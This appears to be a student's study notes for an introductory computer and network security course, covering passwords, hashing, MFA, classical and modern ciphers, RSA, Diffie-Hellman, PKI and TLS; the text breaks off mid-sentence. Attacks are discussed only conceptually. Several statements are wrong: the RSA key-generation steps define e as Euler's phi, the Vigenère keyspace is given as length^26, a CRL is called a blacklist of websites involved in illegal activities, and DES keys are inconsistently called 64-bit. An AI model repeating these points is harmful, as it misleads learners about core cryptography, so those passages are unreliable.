Introduction to Computer and Network Security Notes 2022/2023

Silvanus Bordignon

Contents

Preface

These notes are to be taken as a summary of the course, with no intention of substituting the course material itself. I took these notes combining the slides, my own notes and what I found on our drive and online.

These notes also lack any figure. While writing them I wanted to put down the information the same way I would present it if someone asked me about it, meaning that some subsequent paragraphs may have repeated information.

My advice for preparing for this exam would be to read the slides a few times to get an idea of what's been done, and study each topic until you have at least an idea of how that thing works and especially *why*.

I uploaded both the notes and the LaTeX source on drive, if you find any mistakes (or blunders) in these notes you can take it into your own hands and correct them; just, don't add more ;)

1 Basic Notions

1.1 The CIA triad

Confidentiality is the property that sensitive information is not disclosed to unauthorized individuals, entities, or properties. It covers data in storage, during processing and while in transit. Unauthorized access could be intentional or unintentional, and disclosing sensitive data has substantial impact on privacy. Data encryption and access control are services that help to guarantee confidentiality.

Integrity means ensuring the authenticity of information, meaning that information is not altered, and that the source of the information is genuine. It also gives protection against an individual falsely denying having performed a particular action. This property can be compromised both through human errors and attacks, and violating it has an impact on the trustworthiness of resources and services available online. Implementing version control and audit trails are ways to allow an organization to guarantee that its data is accurate and authentic.

Availability is a requirement intended to assure that systems work promptly and service is not denied to authorized users. It can be violated because of infrastructure failues or overloads, power outages or attacks such as DDoS or ransomware. Violating availability means loss of money for a company or even a country, and could mean censorship. Employing a backup system and a recovery plan, and utilizing cloud solutions for data storage are essential for maintaining availability.

1.2 Security policies and mechanisms

A **security policy** is the set of rules and requirements established by an organization that governs the acceptable use of its information and services, and the level and means for protecting the confidentiality, integrity and availability of its information. A security policy has a purpose and a scope. An example of purpose is protecting confidential or sensitive data from loss in order to avoid reputation damage and to avoid impacting customers; the scope of this policy are all the employees, contractors and individuals with access to that company's systems or data.

Security mechanisms are the implementation of a security policy. They are devices or functions designed to provide one or more security services usually rated in terms of strength of service and assurance of design. Authentication, authorization and access control are a few examples.

Security services are security capabilities or functions provided by an entity that support one or more security objectives. They're composed of security mechanisms and are typically easier to set up and configure. One example is the TLS protocol, which uses a range of cryptographic primitives to guarantee confidentiality and integrity as the security mechanism.

1.3 Risk

A **vulnerability** is a weakness in a system, application, or network that is subject to exploitation or misuse. They can be characterized by how easy it is to identify them and exploit them. One of the most common examples of vulnerabilities are weak passwords, which allow people to break into systems; this could mean gaining access to data they're not supposed to read, breaking confidentiality, gaining the ability to tamper with the data, breaking integrity, or being able to shut down or suspend activities on the system, breaking availability.

A **threat** is any activity, deliberate or unintentional, with the potential for causing harm to an automated information system or activity. They can be characterized as a combination of the propensity to attack and the ability to successfully attack. Viruses are a common threat; they're self-replicating programs that require user action to activate, such as interacting with an email or downloading infected files.

An **attack** is any kind of malicious activity that attempts to disrupt, deny, degrade or destroy information system resources or the information itself. It's the realization of some specific threat that impacts the confidentiality, integrity, availability or the accountability of a computational resource.

Risk is the probability that a particular security threat will exploit a system vulnerability. It's a function of the adverse impacts that would arise if the circumstance or event were to occur, and the likelihood of the occurrence. Impact is evaluated with respect to each stakeholder, while the likelihood is given by the threats and the vulnerabilities that they would exploit. Threats are characterized as a combination of the propensity to attack and the ability to successfully attack. Vulnerabilities are characterized by how easy it is to identify and exploit them.

A **threat model** is a structured representation of all the information that affects the security of an application. It usually includes a description of the system to be modelled, assumptions that can be checked/challenged in the future as the threat landscape changes, potential threats to the system, controls that can be taken to mitigate each threat and a way of validating the model and threats, and verification of success of controls taken.

The **risk matrix** is a matrix used in risk assessment to define the level of risk. The impact and likelihood of an attack are divided into a set of discrete intervals, which will help is assigning a value to the level of risk of a particular scenario.

2 Authentication I: password & co

2.1 User authentication & digital identity

An **identity** is a set of attributes related to an entity, such as a person or an organization. Each attribute is a characteristic or property of an entity that can be used to describe its state, appearance, or other aspects; examples of attributes include an email address, telephone number or physical address. A **digital identity** is an identity whose attributes are stored and transmitted in digital form.

The digital identity's lifecycle consists of four phases. First one is the **enrollment** or **on-boarding**, and it's the process through which an applicant applies to become a subscriber of an identity system which then has to validate the applicant's identity. After this step the user receives a credential or authenticator from a Credential Service Provider (CSP). The second and third steps are repeated multiple times throughout the lifetime of the digital identity. **Authentication** is the process of verifying the identity of a user, process, or device, and it's often the prerequisite to allowing access to a system's resources. The next step is called **authorization** or **access control**, and it's when the user's permissions to access data are checked, and it's typically automated by evaluating a subject's attributes. The last step is **deregistration**, and it's what ends the relationship between the entity and the provider.

Enrollment is the first phase of a digital identity's lifecycle. It starts with the collection of Personal Identifiable Information (PII) and two forms of identity evidence from the applicant. PII include at least the full name, date of birth and home address of the applicant, while forms of identity evidence can be the applicant's ID card, passport or driver's licence. After the resolution phase, comes the **validation** of the information supplied by checking an authoritative source. In this step the validity and accuracy of the information given is checked, by comparing the data on the forms of identity given and checking with the respective issuing sources. At last we have the **verification** step, where the linkage between the claimed identity and real-life existance of the subject is confirmed and established. Examples of this last step include checking in person if the applicant is the person on the ID and licence's picture or checking if the applicant is in possession of the phone number or email address given.

To convey the degree of confidence that the applicant's claimed identity is their real identity we rely on the **Identity Assurance Levels** (IALs). **IAL 1** is the weakest and it means that the attributes collected are self-asserted or should be treated as such. **IAL 2** required either remote or in-person identity proofing. **IAL 3** is the strongest; it requires in-person identity proofing and that the identifying attributes must be verified by an authorized representative through examination of physical documentation.

Authentication is the process of verifying the identity of a user, process, or device; the claimant must demonstrate to the verifier that they are indeed the one that they claim to be. In particular, when this is accomplished by providing a user name and one or more authentication factors then it's called **user authentication**. The most common way to implement user authentication is through password authentication.

2.2 Passwords

Passwords are a way to implement user authentication by providing a password along with the user name during the authentication process. A **password** is a secret shared between the user and the system that follows precise requirements on its length and on the character it's made of. For decades the consensus was to implement strict passwords requirements, consisting of uppercase and lower case letters, numbers and symbols; NIST more recently suggested the use of strong passwords, where strong means *easy to remember, hard to guess*. They could be four-word phrases, which do not require special characters and are still strong, with the added benefit that they can be easily memorized by a human.

Passwords Let's analyze the situation of passwords; this does not take into consideration multi-factor authentication, only the part regarding the password string. If the password is provided by the service to the user, it could be intercepted in transit (SMS, email, physical envelope). To mitigate this secure transit channels should be implemented. If a default password is associated to the account, it should be changed as soon as possible. If the password is chosen by the user, they could use easy-to-guess passwords or write down complicated passwords in an unsecure location. Mitigations include not allowing commonly used passwords, and not including password hints. If the user writes down their password in an unsecure location, nothing can be done; if the user chooses an easy to guess password, then it depends on the information available to the attackers. If the attackers don't have access to the password file or database, the risk can be mitigated by limiting the number of password attempts and sending notifications to the user when a failed attempt occurs; this prevents one form of brute forcing. If the attackers have access to the password file or database, the first mitigation is saving the password in every way but plaintext. The suggested technique is to hash the passwords, which mitigates brute forcing (as per the current computational power available), but guessing one passwords still puts at risk all the users that used that password. Another threat is dictionary attacks, collections of hashes computed once and that can be checked against the passwords the attacker is trying to steal. To mitigate this, salting can be employed, which means adding a bit of pseudo-random information to the password before hashing; this prevents many forms of dictionary attacks and prevents gaining information about multiple users with the same password. Other than all of this, services should be aware of data breaches and compare stolen data with their own in order to protect users that used the same password there, and start the reset procedure (credential stuffing). Another final mitigation would be requiring passwords to be changed regularly by setting an expiration date. Two other threats for passwords are spoofing and phishing. During password spoofing an attacker pretends to be the user and tries to get the service to tell them the password associated to their victim, or try to get it changed to something they choose. To mitigate this the service should be able to verify the identity of the user even without the password by employing another form of authentication (in-person for example). During password phishing the attacker impersonates the system to trick a user into releasing the password to the attacker; they're the main cause of password leakage, and can be mitigated by training the users and increasing their awareness (check the source, name, https (not enough alone!)).

A **brute force** or exhaustive search attack consists in trying all the possible combinations of valid symbols up to a certain length in order to guess passwords. Nowadays a lot of computational power is available at a reasonable cost, meaning that carrying out a brute force attack on passwords of 8-16 characters doesn't require much effort. That is not the case when considering the output of hash functions, which is usually longer and still requires a lot of effort to guess.

Another way to guess passwords is to search through a restricted name space, such as passwords associated with a user, something like their name, the names of friends or relatives, car brand, phone number, or just trying popular passwords. If the attackers do not have access to all the passwords stored, bruteforcing can be mitigated by limiting the login attempts. Otherwise, all the other techniques should be employed.

Dictionary attacks consist in trying every passwords from an on-line dictionary, which is a collection of passwords or user name and password pairs that have been found to be commonly used. Many dictionaries are derived from large data breaches, which is what makes those attacks so effective. Even hashed passwords are subject to this attack; a service could mitigate this risk by implementing salting.

2.3 Protecting the password file: hashing and salting

A **hash function** is any function that takes as input data of arbitrary size and returns a value of fixed size, it doesn't matter how long the input is. This property is called compression. The output of the function is called HASH Digest. A **cryptographic hash function** is a hash function that is characterized by additional properties. First of all there's ease of computation, meaning that given an input, it's easy to compute the output. The function has to be one-way, meaning that for a given output, it is computationally infeasible to find an input that through the function produces that output. It then needs to have weak and strong collision resistance: weak collision resistance means that given an input and the corresponding output, it is computationally infeasible to find a different input that through the function produces the same output, while strong collision resistance means that it is computationally infeasible to find any two different inputs through the function produce the same output. The hash function has to also be deterministic, meaning that the same input always produces the same output, and has to produce a completely different output for every small change in the given input.

Collisions happen when two inputs return the same output through a cryptographic hash function. In practice, we want the likelihood of this happening to be negligible. A good hash function distributes uniformly the outputs among all possible distinct hashes. Broken hash functions include Md4 and Md5; SHA-1 has been the subject of collision attacks, and has recently been discontinued by NIST, while RIPEMD-160 and SHA-256 are valid hash functions in use today.

Hash functions should be used when implementing password authentication with the password saved on the system. When the user registers on the platform, their password is hashed and the digest is then saved, alongside their username. On the following login attempts, the given password is hashed and the computed digest is checked against what is saved on the system: if the two match exactly, access is granted. This only protects the system against brute-force attacks; dictionary attacks are still possible: hashes can be pre-computed and stored in large databases, and password hashes can be looked up almost instantly to find the password. To mitigate that risk we introduce the concept of salting.

Salting means appending a fixed-length random value to the password before hashing. In the context of password authentication, a salt is applied and saved along with the hashed password; this changes the digest completely, and prevents dictionary attacks by forcing the attackers to compute all the hashes for every single salt in order to break a huge number of users' accounts, slowing down the process significantly. Salting also protects accounts with the same password

from being compromised all at once, since each password digest is different thanks to the salt.

A good implementation of a hash function should compute the digest in less than one second; that is a good balance between security and performance. Modern hashing algorithms specifically designed for securely storing passwords include: Argon2, scrypt, bcrypt and PBKDF2.

2.4 Extensions of password based authentication

To cope with the limitations of passwords and the difficulty of managing credentials for the web, more than a single password is needed. **Multi-factor** authentication is an authentication method in which a computer user is granted access only after successfully presenting two or more factors to an authentication mechanism. These can be a knowledge factor, something only the user knows, an ownership function, something only the user possesses, or an inherence factor, something the user is. Examples for all three are an ID or password, a badge or USB token, and fingerprints. Two-factor authentication is a type of MFA confirming the user's claimed identity by using a combination of two different factors; usually the first one is a knowledge factor. Using smartphones as a possession factor can be a bad idea: they're not always available, or the connection could be weak; SIM cloning gives hackers access to mobile connections, and codes sent through SMS can be intercepted; smartphones could be unprotected by a password or biometric, meaning that all the accounts for which the email is the key can be hacked as the phone can receive the second factor.

A way to implement MFA, or more specifically 2FA, is through a **time based one time password** (TOTP). When the user passes the first authentication step, a one time password valid only for a small timeframe is generated on a device that only the user should have access to. The same code is generated on the system, which then checks it against the one provided by the user. They generate the OTPs by applying a function that first takes as input a shared secret called **seed**, and then the last generated OTP. If the two match, access is granted. TOTP is implemented through challenge response protocols.

In a challenge-response protocol, after the user inserts the right credentials on their device, it sends a message to the server. The server then generates some data ("challenge") and sends it to the device. The device encrypts the challenge using the hash of the password sending the result to the server; this way the password in clear never leaves the client. The server then retrieves the hash of the password from the database, encrypts the original challenge and compares the result to that received by the client. If the two match, it grants authentication. This prevents replay attacks, since the challenge is only valid for a short period of time. The challenge has to include data unique to the particular transaction, and also requires some random data, such as some unpredictable string. The data related to the transaction can be inferred from contextual information, and would make the challenge too predictable.

The revised payment service directive (**PSD2**) is a directive regulating payment services in the European Union. Its Strong Customer Authentication (SCA) requirement means employing two or more authentication factors. If a possession factor is used through TOTP, the challenge used in the challenge-response protocol must contain data related to the transaction plus some random information added to make the challenge less predictable.

NIST defines the **authenticator** as the set of means used to confirm the identity of a user, process, or device (e.g. user password or token). It also defines three authentication **assurance levels**: NIST 1 provides some assurance that the claimant controls the authenticator

and requires at least single-factor authentication; NIST 2 provides high confidence that the claimant controls the authenticator, two different authentication factors are required and approved cryptographic techniques are required; NIST 3 provides very high confidence that the claimant controls the authenticator, the authentication process is based on proof of possession of a key through a cryptographic protocol and requires a "hard" cryptographic authenticator.

MFA can be vulnerable to phishing attacks. One example are MFA fatigue attacks, where a user's authentication app gets flooded with push notifications (or SMS) in the hope they will accept one by mistake and therefore enable an attacker to gain entry to an account. Its technical difficulty is low, as it only requires the attackers to gain access to the user's credentials. These attacks succeed usually because the user is distracted or overwhelmed by the notifications, and could misinterpret them as a bug or confuse them with other legitimate authentication requests. To mitigate this kind of attacks the only solution is to remove this step altogether.

FIDO stands for Fast Identity Online and it's the worlds largest ecosystem for standards-based, interoperable authentication. It aims to create a simpler and stronger authentication by reducing the use of passwords. FIDO authentication requires an initial registration step. In cases where the user device supports multiple forms of authentication the user is asked to choose a FIDO compliant authenticator from the options available on the device that matches the authenticating app's acceptance policy. The user then unlocks the FIDO authenticator using whatever mechanism is built into the authenticator, and then the user's device creates a new and unique public/private cryptographic key pair that will be used for authenticating access: the public key is sent to the online service and associated with the user's account, the private key and all other sensitive data related to the chosen authentication method remain on the local device and never leave it. Authentication then requires the client device to prove possession of the private key to the authenticating service by successfully responding to a cryptographic challenge, and the private key can only be used after successfully authenticating using the registered authenticator. The device then uses the user account identifier provided by the service to select the correct key and cryptographically sign the service's challenge, which gets sent back to the service, which verifies it with the stored public key and logs in the user. As of right now there are 3 sets of specifications available to implement FIDO as a standard: FIDO Universal Second Factor, Client to Authenticator Protocols and FIDO Universal Authentication Framework.

3 Cryptography: introduction

3.1 Introduction to cryptography

A **cryptosystem** is a 5-tuple (E,D,M,K,C) where E is an encryption algorithm, D is a decryption algorithm, M is the set of plaintexts, K is the set of keys and C is the set of ciphertexts. Encryption and decryption can be characterized as functions: E: MxK -> C, and D: CxK -> M, where D(E(m,k),k)=m.

Cryptographic mechanisms can provide certain security services. First one is data confidentiality, as encrypting messages hides their content and allows them to be transferred over an unsecure channel; then we have data integrity, where thanks to cryptographic hash functions it's possible to detect whether a document has been tampered with; finally data origin authentication, meaning it's possible to verify the source and integrity of a message.

Key Management is the process of managing our keys during their lifetime: creation, storage, distribution, destruction. Keys are the input to a cryptographic algorithm used to obtain Confidentiality, Integrity and Authenticity over some data. Following the Kerckhoffs' Principle, the security of a cryptosystem should depend on the secrecy of the key, not the secrecy of the used algorithm. This means we need to secure our key so that nobody can use them if not authorized. For example, keys should be securely stored: we can rely on access control mechanisms to protect them or on dedicated hardware components. Also, keys should be shared through a secure channel to avoid malicious interception. Cryptography gets us from being concerned about the message to being concerned about the keys. This problem is solved using asymmetric encryption techniques. For most cryptographic systems the cryptographic keys should be as random as possible, meaning the keys should exhibit high entropy.

An encryption scheme is **computationally secure** if either the cost of breaking the ciphertext exceeds the value of the encrypted information, or the time required to break the cipher exceeds the useful lifetime of the information. Assuming there are no inherent mathematical weaknesses to the algorithm, a brute-force approach is indicated, and on average half of all possible keys must be tried to achieve success.

A **trapdoor one-way function** is a one-way function with an additional requirement: the computation in the reverse direction becomes straightforward when some additional (trapdoor) information is revealed. An encryption function is a trapdoor one-way function, since after encrypting the text it's hard to compute the plaintext from the ciphertext unless the key is known.

Hash functions can be used to check the **integrity** of a message. Compute the digest of a message and send it along with the message itself. The receiver can use the same function over the received message and compare it with the digest that got sent: if the two match exactly, the message has not been altered. Encryption functions can be used to guarantee confidentiality. The message can be encrypted so that anyone listening to the unsecure channel is able to read the ciphertext but is unable to do anything useful with it.

An **encryption algorithm** is used to make content unreadable by all but the intended receivers. Encryption works by applying two types of transformations: substitution and transposition. Substitution changes elements in the plaintext into other elements, while transposition rearranges elements in the plaintext. Most encryption algorithms use multiple stages of substi-

tutions and transpositions. The fundamental requirement of encryption is that no information shall be lost, meaning that all operations must be reversible.

A **substitution cipher** is a method of encrypting by which units of plaintext are replaced with ciphertext, according to a fixed system. The "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution.

The **Caesar cipher** is a substitution cipher in which every character is replaced by the one that comes k places after it in the alphabet; k is the number of characters to shift the cipher alphabet, and is the key of the cipher. It's also called ROTk, which stands for "ROTATE by k positions". Mathematically, we can represent the encryption function e(x), where x is the character we want to encrypt, as e(x) = (x + k) (mod 26), where k is the shift applied to each letter. The result is a number which must then be translated back into a letter. The decryption function works by shifting in the opposite direction for the same number of positions: d(x) = (x - k) (mod 26). A brute force attack could easily break this cipher as there are only 25 possible keys that can be applied (a shift by 0 or 26 positions would leave the text unchanged). There's also a more principled approach; since the distribution of letters in an english text isn't equal, it can be used to help crack codes ('e' appears more frequently than 'z').

The **Vigenère cipher** is a substitution cipher that can be seen as a generalization of the Caesar cipher whereby several Caesar ciphers in sequence are applied with different shift values. To apply this algorithm you start by picking a keyword, which will be the key for the encryption. You write the keyword repeatedly underneath the plaintext, letter by letter, until every letter in the plaintext has a keyword letter underneath. You then encrypt each letter using a Caesar cipher, whose key is the number associated with the keyword letter written beneath. The same letter in plaintext can be encrypted with different keys and become different letters in the ciphertext, making frequency analysis more difficult than on the Caesar cipher. Since the key is the keyword, its length determines the size of the keyspace (length^{26}). For increasing lengths l of the keyword, brute forcing becomes increasingly complex until it becomes impossible when the length of the keyword is the same as the length of the ciphertext.

In a **transposition cipher** the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged; several variations of this algorithm are possible. The difference with substitution ciphers is that here the text units remain the same, they are not changed for something else.

The **columnar cipher** is a kind of transposition cipher. In columnar transposition the message is written out in rows of a fixed length, and then read out again column by column, and the columns are chosen in some scrambled order. Both the width of the rows and the permutation of the columns are usually defined by a keyword corresponding to the cipher key. If some space is left, random padding is added.

3.2 Modern encryption techniques

Symmetric key cryptography is a cryptosystem where a single key k is used for both encryption and decryption. All intended receivers have access to the key in order to encrypt messages before sending them and to decrypt them when received. Key management determines who has access to encrypted data. Symmetric key cryptography can use of two types of ciphers: stream ciphers or block ciphers.

Stream ciphers encrypt sequences of "short" data blocks under a changing key stream. Security relies on design of the key stream generator. Encryption can be quite simple, like using a sequence of XOR operations. The typical block length is 1 bit or byte. They use the idea underlying the Vigenère cipher adapted to stream of bits rather than texts of letters. The same plaintext will be encrypted to a different bit every time it is encrypted. They are much faster than any block cipher in hardware and have less complex circuitry; that's why they're typically used in real time applications such as mobile communications and video streaming.

Block ciphers encrypt sequences of "long" data blocks without changing the key. Security relies on design of the encryption functions, and they usually work on blocks of 64-256 bits. They use substitution and transposition adapted to manipulate blocks of bits rather than letters in texts. Substitutions are called S-boxes and aim to "hide" the relationship between the key and the ciphertext to obtain confusion (each bit should depend on several parts of the key). Transpositions are called P-boxes and aim to permute bits across S-boxes inputs to obtain diffusion (change one plaintext bit, half the ciphertext changes, same as avalanche effect in hash functions). A block is treated as a whole and used to produce a block of ciphertext of equal length. A block cipher breaks the message M into successive blocks M1, M2, M3, ..., Mn and enciphers each Mi with the same key k. DES and AES are well known examples of block cipher systems.

The **Data Encryption Standard** (DES) is an encryption algorithm based on the Feistel block cipher. It employed 56-bit keys operating on 64-bit blocks and was designed specifically to yield fast hardware implementations. The Feistel block-cipher works on 64 bit blocks in the following way: it splits 64 bits blocks into R and L parts of 32 blocks each; a substitution function is applied to the one half, which is then XORed with the other half; the two halves are then swapped. This happens 16 times per block, and for each round a different subkey is derived from the main key. When decrypting, subkeys must be used in reverse order. It's deprecated and has been replaced by the AES; that is because it uses 56-bit keys, which lead to low entropy and allowed it to be cracked in less than 3 days of computing.

The **Advanced Encryption Standard** (AES) is an encryption algorithm based on the Rijndael block cipher. This algorithm can use a variable block length and key length, allowing for the combination of keys of 128, 192 or 256 bits and blocks of length 128, 192 or 256 bits. It replaced DES as the suggested encryption algorithm to use by NIST. The encryption process is based on a series of table lookups and XOR operations which are very fast operations to perform. Decryption of a ciphertext consists in conducting the encryption process in the reverse order, but needs to be implemented differently (although very similarly); it uses, of course, the same key. No one can know for how long AES or any other cryptographic algorithm will remain secure; as of right now we know that there are on the order of 10 to the 21st power times more AES 128-bits keys than DES 64-bit keys, which gives some hope on the strength of this algorithm (around 20 years).

Asymmetric Key Cryptography, also called **Public Key Cryptography** is a two-key crypto system in which two parties can engage in a secure communication over a non-secure channel without sharing a secret key. Each user has a public and private key: the private key has to be kept secret, while on the other hand the public key can be exchanged easily. Unlike Symmetric key encryption, PKC is computationally expensive; that's why a common approach is to exchange only the symmetric key using PKC, not the whole message. The basic idea behind it are trapdoor one-way functions, functions that are computationally hard to compute without a secret, which corresponds to the private key. An example of these problems are factorization and finding the discrete logarithm. Technically the problem is believed to be

difficult from a computational point of view, but there's no mathematical proof that it is indeed computationally hard. When sending a message under a PKC system, the sender encrypts some information using the receiver's public key, then sends the message. The receiver is the only one able to read the message, as the only way to decrypt it is through their private key. This mechanism works great for ensuring confidentiality. There's also ways to guarantee data integrity, authentication and non-repudiation. The sender could encrypt some plaintext with their private key, and then the receiver would decrypt it using the sender's public key, knowing that the sender and only them has sent the message. This way, the sender can not deny having sent the message. This is the principle behind a digital signature. If the sender encrypts the plaintext or its digest, when the receiver reads it or computes the digest and compares it with what they received, they can confirm that the message has not been modified.

3.2.1 RSA

RSA (Rivest, Shamir, Adleman) is a cryptographic technique that can be used for key exchange, digital signatures or encryption of small blocks of data. It employes a trapdoor one way function that takes advantage of the fact than computing a product is relatively easy compared to computing factorizations of big numbers. It uses multiplication to encrypt and factorization to decrypt; uses variable size encryption block and variable size key. First of all the pair of keys has to be generated. An entity finds two different primes p and q big enough, computes their product N and uses it as the modulo for the operations. It defines e as $(p-1)(q-1)$, Euler's phi function. Then it finds d such that $e \cdot d = 1 mod((p-1)(q-1))$. It then sets (N, e) as the public key and (d) as the private key. Suppose than A wants to send a message M to B. A sends their public key to A. A encrypts the message with B's public key, by doing $C = M^e mod N$ (0<M<N). A sends the encrypted message to B, which can decrypt it as $C^d mod N = M$. If B wants to respond, they have to repeat each step, this time using A's public key. Prime numbers have to be chosen carefully; weak number generation is a weakness of this algorithm. RSA can be used to guarantee integrity through the concept of a digital signature. The sender computes the hash of the message and encrypts it using their private key. The receiver computes the hash of the decrypted message and compares it with the decrypted signature: if they match exactly, the message hasn't been modified. Note: some specific RSA properties do not hold for any PKC system, meaning that PKC is not equal to RSA.

3.2.2 DH

Diffie-Hellman (DH) is an algorithm used for secret-key exchange and can be employed as the first step of symmetric key encryption. It allows two parties to generate a secret key and exchange information over an unsecure communications channel to perform calculations. An eavesdropper cannot determine anything useful based upon the information exchanged, and when the exchange ends, the two parties have generated the key and can start communicating using symmetric key encryption. It employs the Discrete Logarithm Problem, with a trapdoor one way function; on encryption is computes an exponentiation, which is fairly easy to do, and sends that information over the unsecure channel. An attacker would have to find that exponent, but that operation is computationally difficult for carefully chosen numbers. During key generation, two public values are used: a big prime number p and a generator g such that for any 0<X<p there's an x so that $X = g^x \mod p$. Each party then uses their private key to compute their public key. Let's assume that A wants to communicate with B, and needs a key to do so. A sends g, p and $A = g^a \mod p$ to B; the private key a is never communicated,

while the public key A is. B uses their private key b to compute $B = g^b \mod p$ and sends it to A. They both then compute the exponentiation of the received public key using their private key as the exponent, both arriving at $g^{a*b} \mod p$. That is the key that will be used for symmetric key encryption, known to them only, and exchanged securely over the channel. This is a key agreement protocol, its security it not known to be equivalent of that of the DLP (Discrete Logarithm Problem). It's secure in the sense that an attacker can not learn the key from the messages exchanged, but does not provide authentication. If an attacker C were to sit inbetween A and B, it could mount a MITM attack pretending to be B to A and to be A to B.

4 Cryptography at work: PKI & TLS

4.1 Public Key Infrastructure

Public Key Infrastructure is a collection of entities that makes it possible to guarantee authentication during a key exchange process using public key cryptography. PKC is able to guarantee confidentiality and integrity of the messages sent, but there's still the problem of trusting that the other party is really who they claim to be. A PKI solves this by following these two requirements: a public key must be authentically bound to the identity of the party controlling the corresponding private key, and parties relying on the correctness of the binding between public and private keys and corresponding party identities need assurance that the binding is still valid.

The binding is realized in two different ways, depending on the context. For IoT devices the best solution is to hard-code cryptographic keys directly into the device. This approach is not scalable and has to deal with the threat of software updates that might alter the stored public keys. For internet applications and services the best solution are digital certificates, which contain the identity and public key pair, signed by a Trusted Third Party. This TTP, also called Certificate Authority, attests the correctness of the binding between the identity and the public key. This creates a chain of trust, because now the problem becomes "how can I trust the CA to be legitimate?". The TTP signs the certificate with its own private key, then another TTP certificates the previous key-identity binding, and so on until a root trusted party is reached. Those ones (about 1500) are hardcoded in internet browsers.

A **digital certificate** is an online document that certifies the pairing of an online entity with a public key; this pairing will be used to guarantee authentication during key exchange processes happening using public key cryptography. Each certificate is signed by a Trusted Third Party or Certificate Authority, which guarantees its authenticity and validity. The certificate is signed by another CA, up until the final signature, which corresponds to one of the root CAs hard coded into the major web browsers. The standard for certificates is called X.509. It includes various fields; the main ones are: version of the protocol and unique ID, public key and identity pairing, CA digital signature and validity period.

The PKI role that assures valid and correct registration is called a Registration Authority (RA). It is responsible for accepting requests for digital certificates and authenticating the entity making the request. A third-party Validation Authority (VA) can provide an entity information on behalf of the CA. There is the so called Cryptographic Practices Statement (CPS), which is a declaration of the security implemented for all certificates issued by the CA holding the CPS. This statement tells potential partners, or others relying on the security of the PKI system, how well the security of the PKI system is being managed. The CRL (Certificate Revocation List) is a distributed database that contains a blacklist of websites that are known for having participated in illegal activities.

After generating the public and private key pair, a user has to request the certificate to a CA server. The CA responds with its Certificate including its Public Key and its Digital Signature signed using its Private Key. The user then gathers all information required by the CA Server to obtain its certificate. The user sends a certificate request to the CA consisting of their public key and the information required; this information is signed using the user's private key. The CA gets the request, verifies the user's identity and generates the certificate for the user, binding its own identity to it. The CA then issues the certificate. This process has to

be repeated after a certain amount of time, because the certificate expires, in order to comply with the second requirement of PKIs.

Relying parties shall be able to check the time validity window against available time sources to avoid that an attacker can use an expired certificate whose associated private key they have compromised. The first way of doing this is distributing lists of revoked certificates (called Certificates Revocation Lists, CRLs). CRLs perform the validity check locally and therefore there can be time windows in which the check are not updated. The other way is by using the the Online Certificate Status Protocol (OCSP) and asking directly to the TTP. This solution is slower but always up to date. Software at the relying party validating certificates shall work correctly and be updated according to the latest known vulnerabilities. This is far from trivial, since protocols can be more than a hundred pages long (the X.509 standard has more than 150 pages), and bugs are pretty common.

4.2 SSL & TLS

The **Secure Sockets Layer** (SSL) was a protocol developed by Netscape as a way to secure communications between client and server on the web. The **Transport Layer Security** (TLS) protocol is the IETF-standardised version of SSL, starting from the latest version of SSL at the time. Both have been used by various internet programs and applications, main one being the web; TLS is in fact deployed in every web browser. In the browser it provides an extension of HTTP, namely HTTPS: HTTP over TLS(SSL) or HTTP Secure. It provides authentication of the visited website, and protection of the privacy and integrity of the exchanged data.

4.2.1 TLS in client-server architectures

TLS itself consists of two main protocols: a handshake protocol and a record protocol. The handshake protocol is used by the client and server to negotiate the cipher suite, authenticate and establish keys used in the Record Protocol; it uses public key cryptography to achieve these goals. There can be client and/or server authentication. The record protocol provides confidentiality and integrity/authenticity of application layer data using keys from the handshake protocol; it achieves this thanks to symmetric cryptography, and guarantees integrity and confidentiality. This is done by fragmenting the data from the application layer into same-sized blocks and applying authentication and encryption primitives to each block; at the receiver the blocks are decrypted, verified for message integrity and reassembled. The record protocol has to be simple (when speaking about logical complexity), because it aims at protecting big amounts of transmitted data.

TLS also includes some other protocols. The TLS Change Cipher Protocol it is used to change the encryption being used by the client and server. The TLS Alert Protocol tries to mitigate problems, reporting the causes of failure.

4.2.2 TLS 1.2: some details of the handshake

The TLS 1.2 handshake is defined as follows:

1. The client sends a **client Hello**, which contains the version of the protocol that the client

wants to use and a list of supported cipher suites. These are the sets of algorithms used to help secure the network and include a key exchange algorithm, a bulk encryption algorithm and a message authentication code (MAC) algorithm. A MAC is a short piece of information used to confirm that the message came from the stated sender (authenticity) and has not been tampered in transit (integrity). Included there's also signatures and an authentication algorithm.

2. The server answers with a **server Hello** containing the chosen protocol, cipher suite, and the session ID. If the client requested an authenticated connection, the server must send an X.509 certificate; the server may in turn send a Certificate Request if it requires the client to be authenticated. But most importantly, there is the Server Key Exchange: it sets the pre-master secret that will be later used to generate the master secret. The pre-master secret is the value obtained from the key exchange; in the case of DH it's $g^{a \cdot b} \mod p$. The master secret/key is derived from the pre-master key by using a Pseudo Random Function (PRF), whose output is fixed and equal to 48 bytes. The fixed-length value is important to simplify the generation of session keys. From the master secret both client and server derive multiple session keys by using again the PRF: half of the session keys are used for message integrity and the other half for message confidentiality. The **principle** is: do not use the same key for both encryption and signing/message authentication.

3. If the client has received a Certificate Request message, it must send a X.509 certificate and Certificate Verify (a message that provides explicit verification of the client certificate). It's then the turn of the Client Key Exchange.

4. The client and the server then send the Change Cipher Spec, a message consisting of a single byte of value 1; once received, the participant transitions to the agreed cipher suite. The exchange finishes with a Finished message, generated by hashing the entire handshake.

5. Every message sent (both by server and client) will be encrypted using the shared key.

Confidentiality in TLS Confidentiality is guaranteed thanks to a combination of asymmetric and symmetric encryption. During the handshake the TLS client and server agree an encryption algorithm and a shared secret key to be used for one session only. Then all messages are encrypted using that algorithm and key. Since SSL and TLS use asymmetric encryption when transporting the shared secret key, there is no key distribution problem.

Integrity in TLS The use of TLS does ensure data integrity, provided that the CipherSpec in the channel definition uses a suitable hash or MAC algorithm. MAC functions are similar to hash functions but have different security requirements: a message authentication code (MAC) is a tag used to confirm that the message came from the stated sender (authenticity) and has not been tampered with (integrity). MACs are similar to digital signatures but differ in that MACs are both generated and verified by using the same key.

Authenticity in TLS For server authentication, the client uses the server's public key to encrypt the data that is used to compute the secret key. The server can generate the secret key only if it can decrypt that data with the correct private key. For client authentication, the server uses the public key in the client certificate to decrypt the data the client sends during step 3 of the handshake. The exchange of Finished messages that are encrypted with the secret key confirms that authentication is complete. In steps 2 and 3, client and server mutually verify

